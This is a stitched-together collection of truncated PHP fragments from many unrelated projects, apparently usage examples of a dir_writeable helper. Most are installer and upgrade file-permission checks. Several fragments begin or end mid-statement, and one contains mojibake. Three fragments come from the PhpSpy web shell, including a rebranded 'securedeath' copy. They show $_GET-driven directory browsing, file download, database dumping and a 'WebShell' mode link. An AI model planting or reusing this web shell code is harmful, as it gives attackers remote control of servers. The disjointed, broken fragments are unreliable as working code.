function dirfile_check(&$dirfile_items) { foreach ($dirfile_items as $key => $item) { $item_path = $item['path']; if ($item['type'] == 'dir') { if (!dir_writeable(ROOT_PATH . $item_path)) { if (is_dir(ROOT_PATH . $item_path)) { $dirfile_items[$key]['status'] = 0; $dirfile_items[$key]['current'] = '+r'; echo $item_path . ' <font color="#FF0000 size="-1">可读不可写</font><br><br>'; } else { $dirfile_items[$key]['status'] = -1; $dirfile_items[$key]['current'] = 'nodir'; echo $item_path . ' <font color="#FF0000 size="-1">目录无可读可写权限</font><br><br>'; } } else { //echo '<br>3'; $dirfile_items[$key]['status'] = 1; $dirfile_items[$key]['current'] = '+r+w'; echo $item_path . ' <font size="-1">权限通过</font><br><br>'; } } else { //echo '<br>4'; if (file_exists(ROOT_PATH . $item_path)) { if (is_writable(ROOT_PATH . $item_path)) { $dirfile_items[$key]['status'] = 1; $dirfile_items[$key]['current'] = '+r+w'; echo $item_path . ' <font size="-1">权限通过</font><br><br>'; // echo '<br>5'; } else { $dirfile_items[$key]['status'] = 0; $dirfile_items[$key]['current'] = '+r'; echo $item_path . ' <font color="#FF0000 size="-1">文件无可写权限</font><br><br>'; //echo '<br>6'; } } else { //echo '<br>7'; if ($fp = @fopen(ROOT_PATH . $item_path, 'wb+')) { $dirfile_items[$key]['status'] = 1; $dirfile_items[$key]['current'] = '+r+w'; echo $item_path . ' <font size="-1">权限通过</font><br><br>'; } else { $dirfile_items[$key]['status'] = -2; $dirfile_items[$key]['current'] = 'nofile'; echo $item_path . ' <font color="#FF0000 size="-1">文件无可读可写权限</font><br><br>'; } } } } }
function dir_check(&$dir_items) { foreach ($dir_items as $key => $item) { $item_path = $item['path']; if (!dir_writeable(INSTALL_ROOT . $item_path)) { if (!is_dir(INSTALL_ROOT . $item_path)) { $dir_items[$key]['status'] = 1; } else { $dir_items[$key]['status'] = -1; } } else { $dir_items[$key]['status'] = 1; } } return $dir_items; }
function create_browse($sid, $grade, $dir = './browse') { $pagerow = 25; $fp = fopen('./browse_' . $grade . '.php', 'r'); $browsefile = fread($fp, filesize('./browse_' . $grade . '.php')); fclose($fp); $browsefile = preg_replace("/[\$]sid\\s*\\=\\s*[0-9]+;/is", "\$sid = {$sid};", $browsefile); $browsefile = preg_replace("/[\$]pagerow\\s*\\=\\s*[0-9]+;/is", "\$pagerow = {$pagerow};", $browsefile); if (dir_writeable($dir . '/' . $sid)) { $fp = fopen($dir . '/' . $sid . '/index.php', 'w'); fwrite($fp, trim($browsefile)); fclose($fp); } else { echo $dir . ' write error'; exit; } }
/** * file check */ function dirfile_check(&$dirfile_items) { foreach ($dirfile_items as $key => $item) { $item_path = '/' . $item['path']; if ($item['type'] == 'dir') { if (!dir_writeable(ROOT_PATH . $item_path)) { if (is_dir(ROOT_PATH . $item_path)) { $dirfile_items[$key]['status'] = 0; $dirfile_items[$key]['current'] = '+r'; } else { $dirfile_items[$key]['status'] = -1; $dirfile_items[$key]['current'] = 'nodir'; } } else { $dirfile_items[$key]['status'] = 1; $dirfile_items[$key]['current'] = '+r+w'; } } else { if (file_exists(ROOT_PATH . $item_path)) { if (is_writable(ROOT_PATH . $item_path)) { $dirfile_items[$key]['status'] = 1; $dirfile_items[$key]['current'] = '+r+w'; } else { $dirfile_items[$key]['status'] = 0; $dirfile_items[$key]['current'] = '+r'; } } else { if ($fp = @fopen(ROOT_PATH . $item_path, 'wb+')) { $dirfile_items[$key]['status'] = 1; $dirfile_items[$key]['current'] = '+r+w'; @fclose($fp); @unlink(ROOT_PATH . $item_path); } else { $dirfile_items[$key]['status'] = -1; $dirfile_items[$key]['current'] = 'nofile'; } } } } }
if (!function_exists(iconv)) { $lasterror[] = $language['error_iconv_invailable']; } if (@ini_get(file_uploads)) { $max_size = @ini_get(upload_max_filesize); $curr_upload_status = $language['attach_enabled'] . $max_size; } else { $curr_upload_status = $language['attach_disabled']; } $curr_disk_space = intval(diskfreespace('.') / (1024 * 1024)) . 'M'; if (!function_exists('mysqli_connect')) { $lasterror[] = $language['error_mysqli_invailable']; } $checkdirarray = array('stream' => './stream', 'cache' => './cache/bootstrap'); foreach ($checkdirarray as $key => $dir) { if (!dir_writeable($dir)) { $lasterror[] = $dir . ' ' . $language['error_dir_unwritable']; } } if (!is_writeable($config_ini_file)) { $lasterror[] = $config_ini_file . ' ' . $language['error_file_unwritable']; } if (!$lasterror) { $curr_ipc_type = false; if (function_exists('posix_mkfifo')) { if (check_namepipe("./stream/")) { $curr_ipc_type = "namepipe"; } } else { $lastwarning[] = $language['warning_not_support_posix']; }
function check_env() { global $lang, $attachdir; $errors = array('quit' => false); $quit = false; if (!function_exists('mysql_connect')) { $errors[] = 'mysql_unsupport'; $quit = true; } if (PHP_VERSION < '4.3') { $errors[] = 'php_version_430'; $quit = true; } if (!file_exists(ROOT_PATH . './config.inc.php')) { $errors[] = 'config_nonexistence'; $quit = true; } elseif (!is_writeable(ROOT_PATH . './config.inc.php')) { $errors[] = 'config_unwriteable'; $quit = true; } $checkdirarray = array('attach' => $attachdir, 'forumdata' => './forumdata', 'cache' => './forumdata/cache', 'ftemplates' => './forumdata/templates', 'threadcache' => './forumdata/threadcaches', 'log' => './forumdata/logs', 'uccache' => './uc_client/data/cache'); foreach ($checkdirarray as $key => $dir) { if (!dir_writeable(ROOT_PATH . $dir)) { $langkey = $key . '_unwriteable'; $errors[] = $key . '_unwriteable'; if (!in_array($key, array('ftemplate'))) { $quit = TRUE; } } } $errors['quit'] = $quit; return $errors; }
$dir_perm = is_dir(KEKE_ROOT . $dir_path) ? 0 : -1; // 如果is_dir==true则为不可写,否则就是不存在咯 $error_num += 1; } else { $dir_perm = 1; } } else { if (file_exists(KEKE_ROOT . $dir_path)) { if (is_writable(KEKE_ROOT . $dir_path)) { $dir_perm = 1; } else { $dir_perm = 0; $error_num += 1; } } else { if (dir_writeable(dirname(KEKE_ROOT . $dir_path))) { $dir_perm = 1; } else { $dir_perm = -1; $error_num += 1; } } } $check_dir[$dir_path] = $dir_perm; } // 函数依赖 $check_func = array(); foreach ($func_items as $value) { if (function_exists($value)) { $func_result = 1; } else {
} if($is_dir =='0' && is_writable(PHPCMS_PATH.$file)) { $is_writable = 1; } elseif($is_dir =='1' && dir_writeable(PHPCMS_PATH.$file)){ $is_writable = 1; } else { $is_writable = 0; $no_writablefile = 1; } $filesmod[$_k]['file'] = $file; $filesmod[$_k]['is_dir'] = $is_dir; $filesmod[$_k]['cname'] = $cname; $filesmod[$_k]['is_writable'] = $is_writable; } if(dir_writeable(PHPCMS_PATH)) { $is_writable = 1; } else { $is_writable = 0; } $filesmod[$_k+1]['file'] = '网站根目录'; $filesmod[$_k+1]['is_dir'] = '1'; $filesmod[$_k+1]['cname'] = '目录'; $filesmod[$_k+1]['is_writable'] = $is_writable; include PHPCMS_PATH."install/step/step".$step.".tpl.php"; break; case '5': //配置帐号 (MYSQL帐号、管理员帐号、) $database = pc_base::load_config('database'); $testdata = $_POST['testdata']; extract($database['default']);
function dirfile_check(&$dirfile_items) { foreach($dirfile_items as $key => $item) { $item_path = $item['path']; if($item['type'] == 'dir') { if(!dir_writeable(ROOT_PATH.$item_path)) { if(is_dir(ROOT_PATH.$item_path)) { $dirfile_items[$key]['status'] = 0; $dirfile_items[$key]['current'] = '+r'; //echo $item_path.' <font color="#FF0000 size="-1">可读不可写</font><br><br>'; //echo '<font color="#FF0000 size="-1">网站目录下存在可读不可写文件夹,请修改所有目录权限后再升级</font><br><br>'; echo "<script> alert('网站目录下存在只读文件夹,请将所有文件夹权限修改为可读可写后再升级');location.href='./index.php?g=System&m=System&a=main'; </script>"; die; } else { $dirfile_items[$key]['status'] = -1; $dirfile_items[$key]['current'] = 'nodir'; //echo $item_path.' <font color="#FF0000 size="-1">目录无可读可写权限</font><br><br>'; //echo '<font color="#FF0000 size="-1">网站目录下存在不可读不可写文件夹,请修改所有目录权限后再升级</font><br><br>'; echo "<script> alert('网站目录下存在只读文件夹,请将所有文件夹权限修改为可读可写后再升级');location.href='./index.php?g=System&m=System&a=main'; </script>"; die; } } else { //echo '<br>3'; $dirfile_items[$key]['status'] = 1; $dirfile_items[$key]['current'] = '+r+w'; //echo $item_path.' <font size="-1">权限通过</font><br><br>'; } } else { //echo '<br>4'; if(file_exists(ROOT_PATH.$item_path)) { if(is_writable(ROOT_PATH.$item_path)) { $dirfile_items[$key]['status'] = 1; $dirfile_items[$key]['current'] = '+r+w'; //$item_path = substr(strrchr($item_path,"/"),-100); //$item_path = dirname($item_path, '.php'); //echo $item_path.' <font size="-1">权限通过</font><br><br>'; // echo '<br>5'; } else { $dirfile_items[$key]['status'] = 0; $dirfile_items[$key]['current'] = '+r'; // if (substr($item_path) //echo $item_path.' <font color="#FF0000 size="-1">此目录下的所有文件都无可写权限,请修改此目录下的所有文件</font><br><br>'; //die; //echo '<br>6'; //echo '<font color="#FF0000 size="-1">网站文件存在可读不可写文件,请修改所有文件为可读可写权限后再升级</font><br><br>'; echo "<script> alert('网站存在只读文件,请将所有文件修改为可读可写权限后再升级');location.href='./index.php?g=System&m=System&a=main'; </script>"; die; } } else { //echo '<br>7'; if ($fp = @fopen(ROOT_PATH.$item_path,'wb+')){ $dirfile_items[$key]['status'] = 1; $dirfile_items[$key]['current'] = '+r+w'; // echo $item_path.' <font size="-1">权限通过</font><br><br>'; }else { $dirfile_items[$key]['status'] = -2; $dirfile_items[$key]['current'] = 'nofile'; // echo $item_path.' <font color="#FF0000 size="-1">文件无可读可写权限</font><br><br>'; // die; //echo '<font color="#FF0000 size="-1">网站文件存在不可读不可写文件,请修改所有文件为可读可写权限后再升级</font><br><br>'; echo "<script> alert('网站存在只读文件,请将所有文件修改为可读可写权限后再升级');location.href='./index.php?g=System&m=System&a=main'; </script>"; die; } } } } //echo '<font color="#000000" size="-1">文件检测通过</font><br><br>'; /*echo "<script> alert('所有文件通过检测,请放心升级');location.href='./index.php?g=System&m=Update&a=index'; </script>"; */ }
function evo_check() { /* $arr[0]['name'] = milu_lang('can_visit_url'); $arr[0]['check'] = 1; if(!function_exists('ini_get')){ $arr[0]['msg'] = milu_lang('no_open_no_run'); $arr[0]['check'] = 0; $arr[0]['tip'] = milu_lang('no_get_value'); }else{ if(!ini_get('allow_url_fopen')){ $arr[0]['check'] = 0; $arr[0]['msg'] = milu_lang('pick_no_run'); } } */ /* $arr[1]['name'] = milu_lang('open_crul'); $arr[1]['check'] = 1; if(!function_exists('curl_init')){ $arr[1]['msg'] = milu_lang('open_crul_notice'); $arr[1]['check'] = 0; } */ $arr[2]['name'] = milu_lang('open_tow_p'); if (function_exists('fsockopen') || function_exists('pfsockopen')) { $arr[2]['check'] = 1; } else { $arr[2]['check'] = 0; $arr[2]['msg'] = milu_lang('no_tow_notice'); } $arr[3]['name'] = 'file_get_contents()' . milu_lang('func'); if (function_exists('file_get_contents')) { $arr[3]['check'] = 1; } else { $arr[3]['check'] = 0; if ($arr[2]['check'] == 0 && $arr[3]['check'] == 0) { $arr[1]['msg'] = '<ul id="tipslis"><li>' . milu_lang('no_use_pick') . '</li></ul>'; } } $arr[4]['name'] = milu_lang('pick_dir_write'); $arr[4]['check'] = 1; if (!dir_writeable(PICK_PATH . '/data/cache')) { $arr[4]['check'] = 0; $arr[4]['msg'] = '<li>' . milu_lang('dir_no_write', array('dir' => './source/plugin/milu_pick/data/cache')) . '</li>'; } if (!dir_writeable(PICK_PATH . '/data/log')) { $arr[4]['check'] = 0; $arr[4]['msg'] .= '<li>' . milu_lang('dir_no_write', array('dir' => './source/plugin/milu_pick/data/log')) . '</li>'; } if ($arr[4]['msg']) { $arr[4]['msg'] = '<ul id="tipslis">' . $arr[4]['msg'] . '</ul>'; } /* $arr[6]['name'] = '插件文件完整性'; if($a == $b){ $arr[6]['check'] = 1; }else{ $arr[6]['check'] = 0; $arr[6]['msg'] = '<ul id="tipslis"><li>插件上传过程中,文件丢失,请重新上传文件</li></ul>'; } */ $arr[7]['name'] = milu_lang('open_gzinflate'); if (function_exists('gzinflate')) { $arr[7]['check'] = 1; } else { $arr[7]['check'] = 0; $arr[7]['msg'] = milu_lang('no_gzinflate_notice'); } $arr[8]['name'] = milu_lang('open_zend'); if (($zend_re = is_zend()) > 0) { $arr[8]['check'] = 1; $arr[8]['msg'] = milu_lang('zend_notice'); } else { $arr[8]['check'] = 0; $arr[8]['msg'] = $zend_re == -1 ? milu_lang('http_visit', array('file' => 'source/plugin/milu_pick/zend/zendcheck.php')) : milu_lang('zend_enable'); } return $arr; }
$msg .= "<font color=\"#FF0000\">{$lang['unwriteable_template']}</font>\t"; } if (dir_writeable('./askdata')) { $curr_data_writeable = $lang['writeable']; } else { $curr_data_writeable = $lang['unwriteable']; $msg .= "<font color=\"#FF0000\">{$lang['unwriteable_askdata']}</font>\t"; } if (dir_writeable('./askdata/templates')) { $curr_template_writeable = $lang['writeable']; } else { $curr_template_writeable = $lang['unwriteable']; $msg .= "<font color=\"#FF0000\">{$lang['unwriteable_askdata_template']}</font>\t"; $quit = TRUE; } if (dir_writeable('./askdata/cache')) { $curr_cache_writeable = $lang['writeable']; } else { $curr_cache_writeable = $lang['unwriteable']; $msg .= "<font color=\"#FF0000\">{$lang['unwriteable_askdata_cache']}</font>\t"; $quit = TRUE; } if (strstr($dbprefix, '.')) { $msg .= "<font color=\"#FF0000\">{$lang['tablepre_invalid']}</font>\t"; $quit = TRUE; } $db->select_db($dbname); if ($db->error()) { if ($db->version() > '4.1') { $db->query("CREATE DATABASE IF NOT EXISTS {$dbname} DEFAULT CHARACTER SET {$dbcharset}"); } else {
function core() { need_login('page'); @set_time_limit(0); @ignore_user_abort(true); $newversion = $this->getRequest('version'); $software = 'meiupic'; $version = MPIC_VERSION; if ($newversion == $version) { exit(lang('no_need_to_update')); } if (!$newversion) { exit(lang('version_can_not_be_empty')); } //检查目录是否可以读写 $directory = @dir(ROOTDIR); while ($entry = $directory->read()) { if ($entry == '..' || $entry == '.') { continue; } $filename = ROOTDIR . $entry; if (is_dir($filename) && !dir_writeable($filename)) { exit(lang('dir_not_writable', $filename)); } elseif (is_file($filename) && !is_writable($filename)) { exit(lang('file_not_writable', $filename)); } } $directory->close(); $langset = LANGSET; $time = time(); $hash = md5("{$newversion}{$software}{$version}{$langset}{$time}"); $q = base64_encode("newversion={$newversion}&software={$software}&version={$version}&langset={$langset}&time={$time}&hash={$hash}"); $url = CHECK_UPDATE_URL . '?act=update&q=' . $q; $response = get_remote($url, 2); if (!$response) { exit(lang('connect_to_server_failed')); } $json =& loader::lib('json'); $result = $json->decode($response); if ($result['return']) { $tmpfile = ROOTDIR . 'cache/tmp/update.zip'; if (file_exists($tmpfile) && md5_file($tmpfile) == $result['md5']) { echo lang('file_has_been_downloaded') . '<br />'; } else { $content = get_remote($result['package']); file_put_contents($tmpfile, $content); $file_md5 = md5_file($tmpfile); if ($file_md5 != $result['md5']) { echo lang('download_package_failed') . '<br />'; exit; } echo lang('download_package_succ') . '<br />'; } $zip =& loader::lib('zip'); $zip->load_file($tmpfile); $zip->extract(PCLZIP_OPT_PATH, './', PCLZIP_OPT_REPLACE_NEWER); echo lang('unzip_package_succ') . '<br />'; echo lang('delete_tmp_download_file') . '<br />'; @unlink($tmpfile); echo lang('upgrade_after_jump') . '<br />'; redirect(site_link('default'), 1); } else { exit(lang('get_update_fail')); } }
include "../include/db_mysql.class.php"; include '../config.inc.php'; include "../include/template.class.php"; include '../include/etfunctions.func.php'; include 'install.func.php'; $options = array('template_dir' => './', 'cache_dir' => './', 'auto_update' => true, 'cache_lifetime' => 0); $template = Template::getInstance(); $template->setOptions($options); $s1 = dir_writeable("../include/cache"); $s2 = dir_writeable("../include/syst"); $s3 = dir_writeable("../attachments/head"); $s4 = dir_writeable("../attachments/usertemplates"); $s5 = dir_writeable("../templates/default/cache"); $s6 = dir_writeable("../admin/backup"); $s7 = dir_writeable("../admin/templates/cache"); $s8 = dir_writeable("../attachments/photo"); if (($s1 != 1 || $s2 != 1 || $s3 != 1 || $s4 != 1 || $s5 != 1 || $s6 != 1 || $s7 != 1 || $s8 != 1) && $step != 1) { header("location: install.php?step=1"); exit; } if ($act == "checkinstall") { $link = @mysql_connect($server, $db_username, $db_password, 1); $connnect = $link && @mysql_select_db($db_name, $link) ? 'yes' : 'no'; if ($connnect == "yes" && $server && $db_username && $db_password && $db_name) { header("location: install.php?step=3"); exit; } else { echo "<script>alert('数据库检测未通过,请重新修改 config.inc.php 文件!');location.href='install.php?step=2'</script>"; exit; } }
function stepA() { show_step(1, "开始安装", "环境以及文件目录权限检查"); $os = PHP_OS; $pv = PHP_VERSION; $up = getcon("upload_max_filesize"); $cj1 = getcon("allow_url_fopen"); echo <<<EOT <div class="main"><h2 class="title">环境检查</h2> <table class="tb" style="margin:20px 0 20px 55px;"> <tr> \t<th>项目</th> \t<th class="padleft">所需配置</th> \t<th class="padleft">最佳配置</th> \t<th class="padleft">当前服务器</th> </tr> <tr> <td>操作系统</td> <td class="padleft">不限制</td> <td class="padleft">类Unix</td> <td class="w pdleft1">{$os}</td> </tr> <tr> <td>PHP 版本</td> <td class="padleft">4.4</td> <td class="padleft">5.0</td> <td class="w pdleft1">{$pv}</td> </tr> <tr> <td>附件上传</td> <td class="padleft">不限制</td> <td class="padleft">2M</td> <td class="w pdleft1">{$up}</td> </tr> <tr> <td>远程访问</td> <td class="padleft">allow_url_fopen</td> <td class="padleft">开启</td> <td class="w pdleft1">{$cj1}</td> </tr> </table> <h2 class="title">目录、文件权限检查</h2> <table class="tb" style="margin:20px 0 20px 55px;width:90%;"> \t<tr> \t<th>目录文件</th> \t<th class="padleft">所需状态</th> \t<th class="padleft">当前状态</th> </tr> EOT; $arr = array("inc/config.php", "inc/cache.php", "inc/timmingset.xml", "inc/vodarea.txt", "inc/vodlang.txt", "upload/", "upload/vod/", "upload/topic/", "upload/cache/", "upload/export/", "upload/thirdpartlogo/", "install/index.php", "log"); foreach ($arr as $f) { $st = "可写"; $cs = "w"; if (strpos($f, ".") > 0) { if (!is_writable(root . $f)) { $st = "不可写"; $cs = "nw"; } } else { if (!dir_writeable(root . $f)) { $st = "不可写"; $cs = "nw"; } } echo '<tr><td>' . $f . '</td><td class="w pdleft1">可写</td><td class="' . $cs . ' pdleft1">' . $st . '</td></tr>'; } unset($arr); echo <<<EOT </table> <h2 class="title">函数依赖性检查</h2> <table class="tb" style="margin:20px 0 20px 55px;width:90%;"> <tr> \t<th>函数名称</th> \t<th class="padleft">所需状态</th> \t<th class="padleft">当前状态</th> </tr> EOT; $arr = array("mysql_connect", "curl_init", "curl_exec", "mb_convert_encoding", "dom_import_simplexml"); foreach ($arr as $f) { $st = "支持"; $cs = "w"; if (!function_exists($f)) { $st = "不支持"; $cs = "nw"; } echo '<tr><td>' . $f . '</td><td class="w pdleft1">支持</td><td class="' . $cs . ' pdleft1">' . $st . '</td></tr>'; } unset($arr); echo <<<EOT </table> </div> <form method="get" autocomplete="off" action="index.php"> <input type="hidden" name="action" value="b" /> <div class="btnbox marginbot"> <input class="right btnnext" type="submit" value="下一步"> </div> </form> EOT; }
shownav('tools', 'nav_fileperms'); showsubmenusteps('nav_fileperms', array(array('nav_fileperms_confirm', $step == 1), array('nav_fileperms_verify', $step == 2), array('nav_fileperms_completed', $step == 3))); if ($step == 1) { cpmsg(cplang('fileperms_check_note'), 'action=tools&operation=fileperms&step=2', 'button', '', FALSE); } elseif ($step == 2) { cpmsg(cplang('fileperms_check_waiting'), 'action=tools&operation=fileperms&step=3', 'loading', '', FALSE); } elseif ($step == 3) { showtips('fileperms_tips'); $entryarray = array('data', 'data/attachment', 'data/attachment/album', 'data/attachment/category', 'data/attachment/common', 'data/attachment/forum', 'data/attachment/group', 'data/attachment/portal', 'data/attachment/profile', 'data/attachment/swfupload', 'data/attachment/temp', 'data/cache', 'data/log', 'data/template', 'data/threadcache', 'data/diy'); $result = ''; foreach ($entryarray as $entry) { $fullentry = DISCUZ_ROOT . './' . $entry; if (!is_dir($fullentry) && !file_exists($fullentry)) { continue; } else { if (!dir_writeable($fullentry)) { $result .= '<li class="error">' . (is_dir($fullentry) ? $lang['dir'] : $lang['file']) . " ./{$entry} {$lang['fileperms_unwritable']}</li>"; } } } $result = $result ? $result : '<li>' . $lang['fileperms_check_ok'] . '</li>'; echo '<div class="colorbox"><ul class="fileperms">' . $result . '</ul></div>'; } } function jsinsertunit() { ?> <script type="text/JavaScript"> function isUndefined(variable) { return typeof variable == 'undefined' ? true : false; }
} mysql_close(); exit; } // 程序目录 $pathname = str_replace('\\', '/', dirname(__FILE__)); // 获取当前路径 if (!isset($dir) or empty($dir)) { $dir = "."; $nowpath = getPath($pathname, $dir); } else { $dir = $_GET['dir']; $nowpath = getPath($pathname, $dir); } // 判断读写情况 $dir_writeable = dir_writeable($nowpath) ? "可写" : "不可写"; $phpinfo = !eregi("phpinfo", $dis_func) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : ""; $reg = substr(PHP_OS, 0, 3) == 'WIN' ? " | <a href=\"?action=reg\">注册表操作</a>" : ""; $tb = new FORMS(); ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>PhpSpy Ver 2006</title> <style type="text/css"> body,td { font-family: "Tahoma"; font-size: "12px"; line-height: "150%"; } .smlfont {
} elseif (!ini_get('short_open_tag')) { instmsg('short_open_tag_invalid'); } elseif (file_exists($lockfile)) { instmsg('lock_exists'); } if (function_exists('instheader')) { instheader(); } if (empty($dbcharset) && in_array(strtolower($charset), array('gbk', 'big5', 'utf-8'))) { $dbcharset = str_replace('-', '', $charset); } $action = $_POST['action'] ? $_POST['action'] : $_GET['action']; $Attr = array("config.inc.php", "onezdata"); if (in_array($action, array('check', 'config'))) { foreach ($Attr as $v) { $bool = is_dir($v) ? dir_writeable($v) : is_writeable($v); if ($bool) { $writeable[$v] = result(1, 0); $write_error = 0; } else { $writeable[$v] = result(0, 0); $write_error = 1; $quit = true; } } } if (!$action) { $onez_license = str_replace(' ', ' ', $lang['license']); ?> <tr><td><b><?php echo $lang['current_process'];
function dirfile_check(&$dirfile_items) { foreach ($dirfile_items as $key => $item) { $item_path = $item['path']; if ($item['type'] == 'dir') { if (!dir_writeable(ROOTDIR . $item_path)) { if (is_dir(ROOTDIR . $item_path)) { $dirfile_items[$key]['status'] = 0; $dirfile_items[$key]['current'] = '+r'; } else { $dirfile_items[$key]['status'] = -1; $dirfile_items[$key]['current'] = 'nodir'; } } else { $dirfile_items[$key]['status'] = 1; $dirfile_items[$key]['current'] = '+r+w'; } } else { if (file_exists(ROOTDIR . $item_path)) { if (is_writable(ROOTDIR . $item_path)) { $dirfile_items[$key]['status'] = 1; $dirfile_items[$key]['current'] = '+r+w'; } else { $dirfile_items[$key]['status'] = 0; $dirfile_items[$key]['current'] = '+r'; } } else { if (dir_writeable(dirname(ROOTDIR . $item_path))) { $dirfile_items[$key]['status'] = 1; $dirfile_items[$key]['current'] = '+r+w'; } else { $dirfile_items[$key]['status'] = -1; $dirfile_items[$key]['current'] = 'nofile'; } } } } }
$mysqldata .= sqldumptable($currow[0]); $mysqldata .= $mysqldata . "\r\n"; } } mysql_close(); exit; } $pathname = str_replace('\\', '/', dirname(__FILE__)); if (!isset($dir) or empty($dir)) { $dir = "."; $nowpath = getPath($pathname, $dir); } else { $dir = $_GET['dir']; $nowpath = getPath($pathname, $dir); } $dir_writeable = dir_writeable($nowpath) ? "" : "??? C????CE´"; $phpinfo = !eregi("phpinfo", $dis_func) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : ""; $reg = substr(PHP_OS, 0, 3) == 'WIN' ? " | <a href=\"?action=reg\">EC? I??</a>" : ""; $tb = new FORMS(); ?> <html> <head> <title>www.securedeath.com</title> <meta http-equiv="Content-Language" content="ar-sa"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> <meta name="GENERATOR" content="SiteMaker"><meta http-equiv="Content-Language" content="ar-sa"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> <meta name="GENERATOR" content="SiteMaker"> <STYLE> body,td { font-family: "Tahoma";
@readfile($downfile); exit; } } // 程序目录(文件系统) $pathname = str_replace('\\', '/', dirname(__FILE__)); // 获取当前路径 if (!isset($dir) or empty($dir)) { $dir = "."; $nowpath = getPath($pathname, $dir); } else { $dir = $_GET['dir']; $nowpath = getPath($pathname, $dir); } // 判断读写情况 if (dir_writeable($nowpath)) { $dir_writeable = "可写"; } else { $dir_writeable = "不可写"; } $dis_func = get_cfg_var("disable_functions"); $phpinfo = !eregi("phpinfo", $dis_func) ? " | <a href=\"?action=phpinfo\">PHPINFO</a>" : ""; $shellmode = !get_cfg_var("safe_mode") ? " | <a href=\"?action=shell\">WebShell模式</a>" : ""; ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>PhpSpy Ver 1.5</title> <style type="text/css"> .maintable { background-color: "#FFFFFF";
$msg .= "<font color=\"#FF0000\">{$lang['unwriteable_template']}</font>\t"; } if (dir_writeable(CYASK_ROOT . './askdata')) { $curr_data_writeable = $lang['writeable']; } else { $curr_data_writeable = $lang['unwriteable']; $msg .= "<font color=\"#FF0000\">{$lang['unwriteable_askdata']}</font>\t"; } if (dir_writeable(CYASK_ROOT . './askdata/templates')) { $curr_template_writeable = $lang['writeable']; } else { $curr_template_writeable = $lang['unwriteable']; $msg .= "<font color=\"#FF0000\">{$lang['unwriteable_askdata_template']}</font>\t"; $quit = TRUE; } if (dir_writeable(CYASK_ROOT . './askdata/cache')) { $curr_cache_writeable = $lang['writeable']; } else { $curr_cache_writeable = $lang['unwriteable']; $msg .= "<font color=\"#FF0000\">{$lang['unwriteable_askdata_cache']}</font>\t"; $quit = TRUE; } if (strstr($tablepre, '.')) { $msg .= "<font color=\"#FF0000\">{$lang['tablepre_invalid']}</font>\t"; $quit = TRUE; } $db->select_db($dbname); if ($db->error()) { if ($db->version() > '4.1') { $db->query("CREATE DATABASE IF NOT EXISTS {$dbname} DEFAULT CHARACTER SET {$dbcharset}"); } else {
function writable_check($path) { $dir = ''; $is_writable = '1'; if (!is_dir($path)) { return '0'; } $dir = opendir($path); while (($file = readdir($dir)) !== false) { if ($file != '.' && $file != '..') { if (is_file($path . '/' . $file)) { //是文件判断是否可写,不可写直接返回0,不向下继续 if (!is_writable($path . '/' . $file)) { return '0'; } } else { //目录,循环此函数,先判断此目录是否可写,不可写直接返回0 ,可写再判断子目录是否可写 $dir_wrt = dir_writeable($path . '/' . $file); if ($dir_wrt == '0') { return '0'; } $is_writable = writable_check($path . '/' . $file); } } } return $is_writable; }
$cname = '文件'; } if ($is_dir == '0' && is_writable(BASE_PATH . $file)) { $is_writable = 1; } elseif ($is_dir == '1' && dir_writeable(BASE_PATH . $file)) { $is_writable = 1; } else { $is_writable = 0; $no_writablefile = 1; } $filesapp[$_k]['file'] = $file; $filesapp[$_k]['is_dir'] = $is_dir; $filesapp[$_k]['cname'] = $cname; $filesapp[$_k]['is_writable'] = $is_writable; } if (dir_writeable(BASE_PATH)) { $is_writable = 1; } else { $is_writable = 0; } $filesapp[$_k + 1]['file'] = '网站根目录'; $filesapp[$_k + 1]['is_dir'] = '1'; $filesapp[$_k + 1]['cname'] = '目录'; $filesapp[$_k + 1]['is_writable'] = $is_writable; include INS_PATH . "step/step_" . $step . ".tpl.php"; break; case '5': // 配置帐号 (MYSQL帐号、管理员帐号、) $database = C('database', 'default'); $testdata = $_POST['testdata']; $selectapp = $_POST['selectapp'];
$msg .= "<font color=\"#FF0000\">{$lang['attach_disabled_info']}</font>\t"; } $query = $db->query("SELECT VERSION()"); $curr_mysql_version = $db->result($query, 0); if ($curr_mysql_version < '3.23') { $msg .= "<font color=\"#FF0000\">{$lang['mysql_version_323']}</font>\t"; $quit = TRUE; } $curr_disk_space = intval(diskfreespace('.') / (1024 * 1024)) . 'M'; if (dir_writeable('./templates')) { $curr_tpl_writeable = $lang['writeable']; } else { $curr_tpl_writeable = $lang['unwriteable']; $msg .= "<font color=\"#FF0000\">{$lang['unwriteable_template']}</font>\t"; } if (dir_writeable('./gamedata')) { $curr_data_writeable = $lang['writeable']; } else { $curr_data_writeable = $lang['unwriteable']; $msg .= "<font color=\"#FF0000\">{$lang['unwriteable_gamedata']}</font>\t"; } if (strstr($tablepre, '.')) { $msg .= "<font color=\"#FF0000\">{$lang['tablepre_invalid']}</font>\t"; $quit = TRUE; } $db->select_db($dbname); if ($db->error()) { if ($db->version() > '4.1') { $db->query("CREATE DATABASE IF NOT EXISTS {$dbname} DEFAULT CHARACTER SET {$dbcharset}"); } else { $db->query("CREATE DATABASE IF NOT EXISTS {$dbname}");
trheader(array(ilang('checkup item'), ilang('env_required'), ilang('env_best'), ilang('env_current'))); trbasic(array(ilang('operate system'), ilang('nolimit'), 'UNIX/Linux/FreeBSD', $curr_os), 1); trbasic(array(ilang('PHP version'), '4.0.6+', '4.3.5+', $curr_php_version), 1); trbasic(array(ilang('attachment upload'), ilang('nolimit'), ilang('allow'), $curr_upload_status), 1); trbasic(array(ilang('MYSQL support'), ilang('support'), ilang('support'), $curr_mysql), 1); trbasic(array(ilang('disk space0'), '10M+', ilang('nolimit'), $curr_disk_space), 1); echo "</table>\n"; ins_mider(); hidden_str('step', 4); button_str('submit', ilang('continue'), $ierror ? 1 : 0); ins_footer(1); $ierror && ins_message($ierror); } elseif ($step == '4') { $dirarr = array('root' => '.', 'tpl' => './template', 'dftpl' => './template/default', 'catalog' => './html', 'freeinfo' => './info', 'member' => './member', 'userfiles' => './userfiles', 'dynamic' => './dynamic', 'cache' => './dynamic/cache', 'htmlcac' => './dynamic/htmlcac', 'export' => './dynamic/export', 'import' => './dynamic/import', 'function' => './dynamic/function', 'records' => './dynamic/records', 